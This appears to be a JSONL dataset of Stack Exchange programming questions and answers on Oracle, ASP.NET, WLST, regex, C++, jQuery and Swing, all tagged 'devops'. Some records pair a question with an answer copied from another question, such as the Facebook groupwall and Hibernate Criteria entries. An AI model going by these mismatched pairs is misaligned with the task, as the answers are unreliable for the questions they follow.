{"id": "hf_49c2997ed83a", "question": "<p>Is there a way to limit the rows returned at the Oracle datasource level in a Tomcat application?</p>\n\n<p>It seems <code>maxRows</code> is only available if you set it on the datasource in the Java code. Putting <code>maxRows=\"2\"</code> on the datasource doesn't apply.</p>\n\n<p>Is there any other way limit the rows returned? Without a code change?</p>\n", "question_body": "", "answer": "It isn't something that is available at the configuration level. You may want to double check that it does what you want it to do anyway:\nsee the javadoc for setMaxRows\n. With Oracle it is still going to fetch every row back for the query and then just drop the ones outside the range. You would really need to use rownum to make it work well with Oracle and you can't do that either in the configuration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.002741"}
{"id": "hf_ea362809f590", "question": "<p>I'd like to have some of the ScriptManager features in the new Asp.net MVC model:</p>\n\n<p>1- Script combining<br>\n2- Resolving different paths for external Javascript files<br>\n3- Minify and Gzip Compression </p>\n\n<p><a href=\"http://www.codeproject.com/KB/aspnet/HttpCombine.aspx\" rel=\"nofollow noreferrer\">Here</a> is what I found, but I'm not sure is the best way for MVC approach.  In general what is a good approach to deal with Javascript code in the MVC model?</p>\n", "question_body": "", "answer": "Maybe you could just create a new 'Scripts' controller with different actions serving different combinations of compressed JS files. Since MVC is designed with a resource oriented approach, i.e. URLs are now at the center of your programming model, why not define simple URIs for your Javascripts too ?\nIn your views, for example you could reference your files like this :\n```\n```\n<script src=\"http://your_domain/scripts/all\"/>\n```\n```\nThis would call your 'all' action, resulting in all your compressed script files being sent.\nOf course you would need to code the combining and compressing for now, or maybe reuse the Scriptmanager internally, I don't know if it's possible.\nThis is just an idea though, currently I'm referencing individual javascript files directly in my master pages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.064731"}
{"id": "hf_6e80fd94dec4", "question": "<p>I am new to php and wanted to make a blog using php where every one can see the contents posted in the site but another administrator page should be there which can edit, add or delete posts</p>\n\n<p>How can i code a page like that? What are the logics required?</p>\n", "question_body": "", "answer": "There are\nlots\nof\ntutorials\nfor this sort of venture\naround the internet\n.\nI think It may be a bit too much to write in a single answer here.. You're best to choose one of these tutorials or find a book that uses building a blog as a means for learning more about PHP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.101521"}
{"id": "hf_796faf5f52bf", "question": "<p>I would like to create a WLST script to create my Weblogic domain. However I'm having problems adding the LDAP config.</p>\n\n<pre><code>cd(\"/SecurityConfiguration/myDomain\")\ncmo.createRealm(\"myrealm\")\n\ncd(\"/SecurityConfiguration/myDomain/Realms/myrealm\")\ncmo.createAuthenticationProvider(\"myLDAP\", \"weblogic.security.providers.authentication.NovellAuthenticator\")\n</code></pre>\n\n<p>This is currently failing because at this point I don't seem to have a SecurityConfiguration object</p>\n\n<pre><code>No SecurityConfiguration object with name myDomain\n</code></pre>\n\n<p>Does this configuration have to be done online? Are there any other work arounds?</p>\n", "question_body": "", "answer": "From what I've found, this configuration has to be done using WLST Online.\nThe script I have created looks something like this\n```\n```\nconnect(\"username\", \"password\", \"t3://ip:port\");\n\nedit()\nstartEdit()\n\ncreate_AuthenticationProvider_54(\"/SecurityConfiguration/myDomain/Realms/myrealm\", \"value\")\ncd(\"/SecurityConfiguration/myDomain/Realms/myrealm\")\ncmo.createAuthenticationProvider(\"myLDAP\", \"weblogic.security.providers.authentication.NovellAuthenticator\")\n\ncd(\"/SecurityConfiguration/myDomain/Realms/myrealm/AuthenticationProviders/myLDAP\")\nset(\"GroupBaseDN\", \"value\")\nset(\"UserNameAttribute\", \"value\")\nset(\"StaticGroupObjectClass\", \"value\")\nset(\"UserBaseDN\", \"value\")\nset(\"UserObjectClass\", \"value\")\nset(\"AllGroupsFilter\", \"value\")\nset(\"Principal\", \"value\")\nset(\"UseRetrievedUserNameAsPrincipal\", \"value\")\nset(\"Host\", \"value\")\nset(\"StaticGroupDNsfromMemberDNFilter\", \"value\")\nset(\"StaticMemberDNAttribute\", \"value\")\nset(\"ControlFlag\", \"value\")\nset(\"UserFromNameFilter\", \"value\")\nset(\"Credential\", \"value\")\nset(\"GroupFromNameFilter\", \"value\")\n\nstartEdit()\nsave()\nactivate(block=\"true\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.125671"}
{"id": "hf_f30e9fbe082e", "question": "<p>Is there a way to speed up the rendering of Polylines in Google Maps when using Internet Explorer (7)? My map loads quickly in other browsers.</p>\n\n<p>I've encoded the Polylines as described here - <a href=\"http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/\" rel=\"nofollow noreferrer\">http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/</a> and they are loaded from a static JavaScript file.</p>\n", "question_body": "", "answer": "The ie7 is slower than firefox3 (and ie6 is slower than ie7) to render large and complex polylines with Javascript.\nThere could be some minor tricks to speed up the rendering, (smooth the lines before rendering, adjusting for zoomlevel and such).\nOne trick is maybe to create a kml instead and leave on a public URL and use that in Google maps.\nA more \"enterprise\" trick is to use geoserver or mapserver and create overlays. That would really boost performance. (They are truly serverside.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.161767"}
{"id": "hf_4a31548ff68c", "question": "<p>I've written my first C# iterator today. Woohoo.</p>\n\n<p>Interestingly, it has side effects. My iterator filters out invalid files from a directory and returns a sequence of valid files to process. Wheneve it encounters an invlaid file, it moves it to another directory.</p>\n\n<p>I tried implementing it as a LINQ query, but really don't like the fact that the predicate for the where clause has side effects. That's a definite smell.</p>\n\n<p>I could implement it explicitly, looping over all files and handling the good or the bad in turn, but it's not very elegant. A better solution is to split it into two lists (good and bad) and process each in turn.</p>\n\n<p>But then I remembered iterators. And I've now got an iterator that yields the valid files and handles (moves) the invalid ones.</p>\n\n<p>So, my question is this: is it a bad idea for an iterator to have side effects such as this? Am I hiding too much functionality in an iterator?</p>\n", "question_body": "", "answer": "I'd say it's\ngenerally\na bad idea to have side-effects in an iterator, but it's not a complete no-no. If you have side-effects, it makes it hard/impossible for callers to work in a purely functional way. This may or may not be a problem depending on your use case.\nI suggest you have two ways of getting the iterator - one which has the side-effect (which is presumably an optimisation, basically) and one which doesn't (slower, but simpler to reason about). This could just be by passing a flag into the method, or having two methods named differently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.222126"}
{"id": "hf_69a648bcbbee", "question": "<p>I can't seem to find an answer to this problem, and I'm wondering if one exists. Simplified example:</p>\n\n<p>Consider a string \"nnnn\", where I want to find all matches of \"nn\" - but also those that overlap with each other. So the regex would provide the following 3 matches:</p>\n\n<ol>\n<li><b>nn</b>nn</li>\n<li>n<b>nn</b>n</li>\n<li>nn<b>nn</b></li>\n</ol>\n\n<p>I realize this is not exactly what regexes are meant for, but walking the string and parsing this manually seems like an awful lot of code, considering that in reality the matches would have to be done using a pattern, not a literal string.</p>\n", "question_body": "", "answer": "AFAIK, there is no pure regex way to do that at once (ie. returning the three captures you request without loop).\nNow, you can find a pattern once, and loop on the search starting with offset (found position + 1). Should combine regex use with simple code.\n[EDIT] Great, I am downvoted when I basically said what Jan shown...\n[EDIT 2] To be clear: Jan's answer is better. Not more precise, but certainly more detailed, it deserves to be chosen. I just don't understand why mine is downvoted, since I still see nothing incorrect in it. Not a big deal, just annoying.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.293590"}
{"id": "hf_396e0aa47632", "question": "<p>I have a SQL table which has a number of fields</p>\n\n<p>ID | Value | Type</p>\n\n<p>A typical record may be :-\n1000,10,[int]</p>\n\n<p>a second row may be:-</p>\n\n<p>1001,foo,[string]</p>\n\n<p>a third row may be:-</p>\n\n<p>1002,10/12/2008,[DateTime]</p>\n\n<p>I have been asked to look at this as at the moment, each time we wish to select from this table we have to cast the value to the type specified. I am able to do a database redesign on this and am wondering the best route to go to optimise this. (SQL 2000).</p>\n", "question_body": "", "answer": "Horrors!  This is the dreaded\nEntity-Attribute-Value (EAV)\nmodel! Run away!\nBut seriously, assuming there is some reason for needing this kind of model, maybe create a properly typed column for each data type?\n```\n```\nID       Type      StringValue       DateValue      NumberValue\n1001     String    Foo\n1002     Date                        10/12/2008\n1003     Number                                     123.46\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.317702"}
{"id": "hf_28f4519fe326", "question": "<p>I have a threading issue,</p>\n\n<p>I'm setting the <code>ThreadPool.SetMaxThreads(maxThreads, System.Environment.ProcessorCount)</code> to 10.</p>\n\n<p>But when I check how many are avaliable <code>ThreadPool.GetAvailableThreads()</code> it says there are (maxThreads - 1) so 9, but then goes on to use 10 threads.</p>\n\n<p>Any ideas why this is?</p>\n\n<p>Thanks for the help.</p>\n", "question_body": "", "answer": "In an ideal world, we would have 1 thread/physical core. That way, we would no longer have context switches, which are rather costly operations. But until we have processors with hundreds of cores, that won't be practical.\nAnyway, as Marc suggested, you shouldn't mess with the ThreadPool parameters unless you REALLY know what you are doing. The logic behind the .Net implementation of the ThreadPool is rather good, and it can successfully handle most scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.377781"}
{"id": "hf_66bad9b7f5dc", "question": "<p>Nested If or single if with And operator,  which is better approach?<br>\n<strong>Single If with And</strong>    </p>\n\n<pre><code>if (txtPackage.Text != string.Empty &amp;&amp; txtPackage.Text == \"abc\")\n{\n   //\n}\n</code></pre>\n\n<p><strong>Nested If</strong>  </p>\n\n<pre><code>if (txtPackage.Text != string.Empty)\n{ \n  if (txtPackage.Text == \"abc\")\n  {\n     //\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "Are you going to do something different in the 'nested if' example if, in fact, txtPackage.Text isn't empty but contains something other than \"abc\"?\nIf you aren't, I'd ask why are you checking for string.empty at all?\nYou could just write:\n```\n```\nif (txtPackage.Text == \"abc\")\n{\n\n//\n\n}\n```\n```\nand be done with it.\nTotally depends upon what you want to do in the end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.402074"}
{"id": "hf_f34a3fe6da18", "question": "<p>Is it possible to access the following formatted menu item like any other standard menu item (using the underscore-method, e.g. \"_File\" would be accessible by pressing \"f\")? I would like to use \"O\" as \"access key\" here.</p>\n\n<p>Unfortunately, <code>&lt;AccessText&gt;</code> does not seem to be usable directly (I imaginged something like </p>\n\n<pre><code>&lt;AccessText Visibility=\"Collapsed\"&gt;_O2-Genion&lt;/AccessText&gt;\n</code></pre>\n\n<p>in a <code>&lt;StackPanel&gt;</code>, but alas, this did not work out.)</p>\n\n<pre><code>&lt;MenuItem&gt;\n  &lt;MenuItem.Header&gt;\n    &lt;TextBlock&gt;\n      O\n      &lt;Span BaselineAlignment=\"Subscript\"&gt;\n        &lt;TextBlock Margin=\"-3,0,0,0\" FontSize=\"8\"&gt;\n        2\n        &lt;/TextBlock&gt;\n      &lt;/Span&gt;\n      -Genion\n    &lt;/TextBlock&gt;\n  &lt;/MenuItem.Header&gt;\n&lt;/MenuItem&gt;\n</code></pre>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Do you even need to use an AccessKey at all? Assuming that you didn't need/want the custom styling of the MenuItem header text, you could get the same affect by doing the following:\n```\n```\n<MenuItem HeaderText=\"_02\" />\n```\n```\nWould just putting an underscore before the 0 work? Although I seem to recall that one difference between TextBlock and Label is that TextBlock doesn't support access keys, but Label does. If that's the case, maybe use a Label instead of a TextBlock in your menu item?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.426450"}
{"id": "hf_dcfa440475e8", "question": "<p>There is a groupwall of which I want to download and store all messages in a db.\nIn the documentation I cannot find a good way to do it. Did I miss something? What's the good way to do this?</p>\n", "question_body": "", "answer": "Do you even need to use an AccessKey at all? Assuming that you didn't need/want the custom styling of the MenuItem header text, you could get the same affect by doing the following:\n```\n```\n<MenuItem HeaderText=\"_02\" />\n```\n```\nWould just putting an underscore before the 0 work? Although I seem to recall that one difference between TextBlock and Label is that TextBlock doesn't support access keys, but Label does. If that's the case, maybe use a Label instead of a TextBlock in your menu item?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.451447"}
{"id": "hf_9f9d53397637", "question": "<p>I have MAMP set up on my iMac and on my Macbook. I want to keep both installs synced using <a href=\"http://www.getdropbox.com\" rel=\"noreferrer\">dropbox</a>. When upgrading MAMP the only 2 folders you need to transfer are 'db' &amp; 'htdocs'. My theory is then that these are the only 2 folders I need to keep in sync. Sound right to you so far?</p>\n\n<p>Syncing the 'htdocs' folder is easy as you can put it in your dropbox and point the MAMP preferences to the dropbox folder, but the 'db' folder has no such option.</p>\n\n<p>Any suggestions on how I could keep the 'db' folder synced? Thanks.</p>\n", "question_body": "", "answer": "Ok, so I am thinking that my solution is going to have to be a combination of chronosync\nhttp://www.econtechnologies.com/site/Pages/ChronoSync/chrono_overview.html\n& dropbox.\nHave a copy of cronosync on both the macbook and the iMac then before starting work on either machine manually run chronosync to sync the MAMP 'db' folder with the dropbox 'db' folder.\nUnless someone out there has a better idea. Thanks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.521162"}
{"id": "hf_67f681cc55d0", "question": "<p>Consider the following piece of Java code.</p>\n\n<pre><code>int N = 10;\nObject obj[] = new Object[N];\nfor (int i = 0; i &lt; N; i++) {\n    int capacity = 1000 * i;\n    obj[i] = new ArrayList(capacity);\n}\n</code></pre>\n\n<p>Because in Java, all objects live on the Heap, the array does not\ncontain the objects themselves, but references to the objects. Also,\nthe array itself is also an object, thus it lives on the heap.</p>\n\n<p>What is the equivalent in C++, but keeping the array and objects on\nthe stack, to avoid as much as possible needing new and delete ?</p>\n\n<p>Edit: changed the code to use a custom constructor.</p>\n", "question_body": "", "answer": "Simply declaring\n```\n```\nObject array_of_objects[10];\n```\n```\nin C++ creates 10 default-constructed objects of type Object on the stack.\nIf you want to use a non-default constructor, that's not so easy in C++.  There might be a way with placement new but I couldn't tell you off the top of my head.\nEDIT: Link to other question on StackOverflow\nHow to use placement new for the array is explained in the answer to\nthis question\nhere on StackOverflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.545842"}
{"id": "hf_7d8b86939f52", "question": "<p>I'm sure this must be possible, but I can't find out how to do it.</p>\n\n<p>Any clues?</p>\n", "question_body": "", "answer": "```\n```\n$startinfo = new-object System.Diagnostics.ProcessStartInfo \n$startinfo.FileName = \"explorer.exe\"\n$startinfo.WorkingDirectory = 'D:\\foldername'\n\n[System.Diagnostics.Process]::Start($startinfo)\n```\n```\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.569063"}
{"id": "hf_1e59cecbf956", "question": "<p>What would be the easiest way to view classes, methods, properties, etc. inside a jar file?\nI'm looking for something equivalent to the very useful <I> Lutz Roeder .NET Reflector </I> - for Java</p>\n", "question_body": "", "answer": "I usually open them with 7-Zip... It allows at least to see packages and classes and resources.\nShould I need to see methods or fields, I would use Jad but of course, it is better to rely on (good) JavaDoc...\nNow, somewhere on SO was mentioned some Eclipse plug-ins, to find in which jar file a class is located, perhaps they can do more (ie. what you requested).\n[EDIT] Reference to SO thread. Not what is asked, but somehow related, thus useful:\nJava: How do I know which jar file to use given a class name?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.603918"}
{"id": "hf_b9258f53ee64", "question": "<ul>\n<li>I created a protected folder on my ASP.NET site with the \"ASP.NET Configuration\" tool.</li>\n<li>It made a database called App_Data/ASPNETDB.MDF where it stores one (1) user.</li>\n<li>While uploading I noticed now that the database has grown to 10 MB and the .ldf file is 5 MB. (!)</li>\n<li>I tried to look at it with SQL Server 2008 Management Studio but when attaching it said \"Failed to retrieve data for this request.\"</li>\n</ul>\n\n<p>Has this ASPNETDB.MDF bloat every happened to anyone else?</p>\n", "question_body": "", "answer": "I think this is just the default size for the aspnetdb, at least in sql 2005 express all my aspnetdb databases are 10mb initially", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.627653"}
{"id": "hf_e34e367ff123", "question": "<p>My code runs inside a JAR file, say <strong>foo.jar</strong>, and I need to know, in the code, in which folder the running <strong>foo.jar</strong> is.</p>\n\n<p>So, if <strong>foo.jar</strong> is in <code>C:\\FOO\\</code>, I want to get that path no matter what my current working directory is.</p>\n", "question_body": "", "answer": "Use ClassLoader.getResource() to find the URL for your current class.\nFor example:\n```\n```\npackage foo;\n\npublic class Test\n{\n    public static void main(String[] args)\n    {\n        ClassLoader loader = Test.class.getClassLoader();\n        System.out.println(loader.getResource(\"foo/Test.class\"));\n    }\n}\n```\n```\n(This example taken from\na similar question\n.)\nTo find the directory, you'd then need to take apart the URL manually. See the\nJarClassLoader tutorial\nfor the format of a jar URL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.701779"}
{"id": "hf_41dcb6a781d4", "question": "<p>I am just wondering what are the steps followed by you guys when starting a new project? Do you used to create UML diagrams, SRS or any design documents? I am starting a new project and like to get some expert advice on all these practices. I know to code, but I never tried UML and other stuffs. </p>\n\n<p>Any help would be great</p>\n", "question_body": "", "answer": "Typically, my process runs something like this:\nI usually start with a logical model - a bastardised UML if you like - so I can visualise the key entities and relationships in my system.\nThen I think about a the underlying datamodel (thinking through potential issues around data consumption patterns, performance and so on)\nThen I choose an appropriate data access architecture\nThen I start coding the data layer and business objects (with any redesign of the logical model as required)\nI dont think there is too much point 'over-designing' at the logical stage because requirements change as the project progresses, both from a business and technical / design perspective, in ways you can't always anticipate in advance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.725956"}
{"id": "hf_35fd1d8261da", "question": "<p>I 'd like to use Criteria for my SQL query.\nI have 3 tables \"home\", \"person\" and a third table \"liveIn\" for correspondance between home and person.</p>\n\n<p>My sql query is\n\"select home.id\nfrom home, person, liveIn\nwhere home.country = 'Japan'\nand person.id = '15'\nand liveIn.Homeid = home.id\nand liveIn.PersonId = person.id\"</p>\n\n<p>A little help anybody ?</p>\n", "question_body": "", "answer": "Typically, my process runs something like this:\nI usually start with a logical model - a bastardised UML if you like - so I can visualise the key entities and relationships in my system.\nThen I think about a the underlying datamodel (thinking through potential issues around data consumption patterns, performance and so on)\nThen I choose an appropriate data access architecture\nThen I start coding the data layer and business objects (with any redesign of the logical model as required)\nI dont think there is too much point 'over-designing' at the logical stage because requirements change as the project progresses, both from a business and technical / design perspective, in ways you can't always anticipate in advance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.750693"}
{"id": "hf_a9039ce0759e", "question": "<p>How can I simplify an expression using basic arithmetic?</p>\n", "question_body": "", "answer": "You can use the technique described here:\nhttp://augustss.blogspot.com/2007/04/overloading-haskell-numbers-part-2.html\n. Make your type be of the necassary type-classes (Num, Fractional, Floating) so that -, +, * and so on works for your type. Then if the expression tree is finally built, you can operate on it to see what you can simplify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.774213"}
{"id": "hf_d103c29a96b2", "question": "<p>I'm trying to add a special markup to Python documentation strings in emacs (python-mode).</p>\n\n<p>Currently I'm able to extract a single line with:</p>\n\n<pre><code>(font-lock-add-keywords\n 'python-mode\n '((\"\\\\(\\\"\\\\{3\\\\}\\\\.+\\\"\\\\{3\\\\}\\\\)\"\n    1 font-lock-doc-face prepend)))\n</code></pre>\n\n<p>This works now:</p>\n\n<pre><code>\"\"\"Foo\"\"\"\n</code></pre>\n\n<p>But as soon there is a newline like:</p>\n\n<pre><code>\"\"\"\nFoo\n\n\"\"\"\n</code></pre>\n\n<p>It doesn't work anymore. This is logical, since <code>.</code> doesn't include newlines (<code>\\n</code>).\nShould I use a character class?</p>\n\n<p>How can I correct this regular expression to include everything between <code>\"\"\" \"\"\"</code>?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "```\n```\n\"\\\\(\\\"\\\\{3\\\\}\\\\(.*\\n?\\\\)*?\\\"\\\\{3\\\\}\\\\)\"\n```\n```\nThe \"*?\" construct is the non-greedy version of \"*\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.832979"}
{"id": "hf_8593533a1889", "question": "<p>I am putting together an architecture for a mid sized company who want to introduce a BPM (Business Process Management) tool. I understand that this would be helpful and want to introduce it but stuggle to find its appropriate place within the architecture. </p>\n\n<p>I want to know when and how you should use a BPM tool, how do you differentiate Business Process from Application Workflow?</p>\n", "question_body": "", "answer": "Why do you want to introduce a BPM tool? Is it buzzword compliance? If you are struggling to find a place in the architecture, then I would suspect that the tool isn't going to bring a big win (at least not with your current understanding).\nApplication workflow tools typically concern themselves with modeling a specific process and giving semi-technical process designers the ability to show the steps and interactions, while allowing programmers to flesh the skeleton out with code that implements the pieces. Personally, I have found that the overhead of training semi-technical process leads can offset the promised gains in effective communication and turnaround, but in large organizations it can ensure the the process \"owner\" has the illusion of control necessary for buyoff on plans. I say illusion, because at the end of the day it is the IT staff that regenerates the code that implements the process, and often suggested changes get reverted due to problems on the technical side (such tools often make changes easier to suggest than to implement).\nSome Business Process Management tools are little more than Application Workflow tools with higher price tags. Some take a higher view and incorporate the manual flows and other non-IT processes into the architecture (although obviously such steps are really nothing more than stubs or gatekeepers for exiting and re-entering the IT flow). I have no idea what you are calling a mid sized company, but at a 160 man aerospace engineering firm, we found BPM tools that we evaluated overkill.\nSadly, this is one of those questions where only subjected answers can be given, even with all the facts (different System Analysts will give different opinions). I hope that a quick overview is at least of some help. Just beware sales hype: I find such tools to be of value only in specific organizations with specific process flows and a hindrance in others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.855971"}
{"id": "hf_b4d36d2aa31c", "question": "<p>I have a library consisting of approx 100 source files. I want one of the sources to be always rebuilt if any of the other files have been compiled but I don't want it built every time I run the make/build.</p>\n\n<p>Basically I want this file to have the last build date/time built into it so any application linking to the library can check the last build time/date. Is there any other way to do this?</p>\n", "question_body": "", "answer": "Let the object file containing the build timestamp depend on all the other object files:\n```\n```\nversion.o: $(OBJECTS)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.892897"}
{"id": "hf_df0497728971", "question": "<p>if i have :</p>\n\n<pre><code>&lt;div class=\"carBig\"&gt;&lt;/div&gt;\n</code></pre>\n\n<p>and</p>\n\n<pre><code>&lt;div class=\"car\"&gt;&lt;/div&gt;\n</code></pre>\n\n<p>and $(\".car\").size();</p>\n\n<p>i get 2 items ..</p>\n", "question_body": "", "answer": "What version of jquery are you using?\nUsing this code:\n```\n```\n<html><head><title>Testing</title>\n<script type=\"text/javascript\" src=\"/js/jquery/jquery-1.2.6.min.js\">\n</script>\n<script type=\"text/javascript\">\n$(document).ready(function() {\n    $(\".car\").each(function() {\n        $(\"#carResults\").append($(\".car\").size());\n        $(\"#carResults\").append($(this).text());\n    });\n});\n</script>\n</head><body>\n<div class=\"carBig\">Big Car</div>\n<div class=\"car\">Regular Car</div>\n<div id=\"carResults\"></div>\n</body></html>\n```\n```\nMy output document looked like this:\n```\n```\nBig Car\nRegular Car\n1Regular Car\n```\n```\nMine only found 1 element, the one with the class of \"car\"...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.930190"}
{"id": "hf_ba81d25c7124", "question": "<p>How do I set the executable icon for my C++ application in visual studio 2008?</p>\n", "question_body": "", "answer": "First go to Resource View (from menu: View --> Other Window --> Resource View). Then in Resource View navigate through resources, if any. If there is already a resource of Icon type, added by Visual Studio, then open and edit it. Otherwise right-click and select Add Resource, and then add a new icon.\nUse the embedded image editor in order to edit the existing or new icon. Note that an icon can include several types (sizes), selected from Image menu.\nThen compile your project and see the effect.\nSee:\nhttp://social.microsoft.com/Forums/en-US/vcgeneral/thread/87614e26-075c-4d5d-a45a-f462c79ab0a0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:42.993157"}
{"id": "hf_259580d740fe", "question": "<p>Wnen I use external resources such as files or DB connection I need to close them before I let them go.</p>\n\n<p>Do I need to do the same thing with Swing components ? If yes then how ?</p>\n", "question_body": "", "answer": "Objects are automatically garbage collected if there are no references to them. You do not have to treat Swing components the same way that you do external resources. However, if you have a component that you are not going to need later you can set any references to that component to null.\n```\n```\nJPanel p = new JPanel();\np = null;\n```\n```\nSetting p to null does not delete the object but it removes any references to the object so the next time the garbage collector passes it gets picked up.\nYou will have to be careful though that other reference to the component do not exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.017687"}
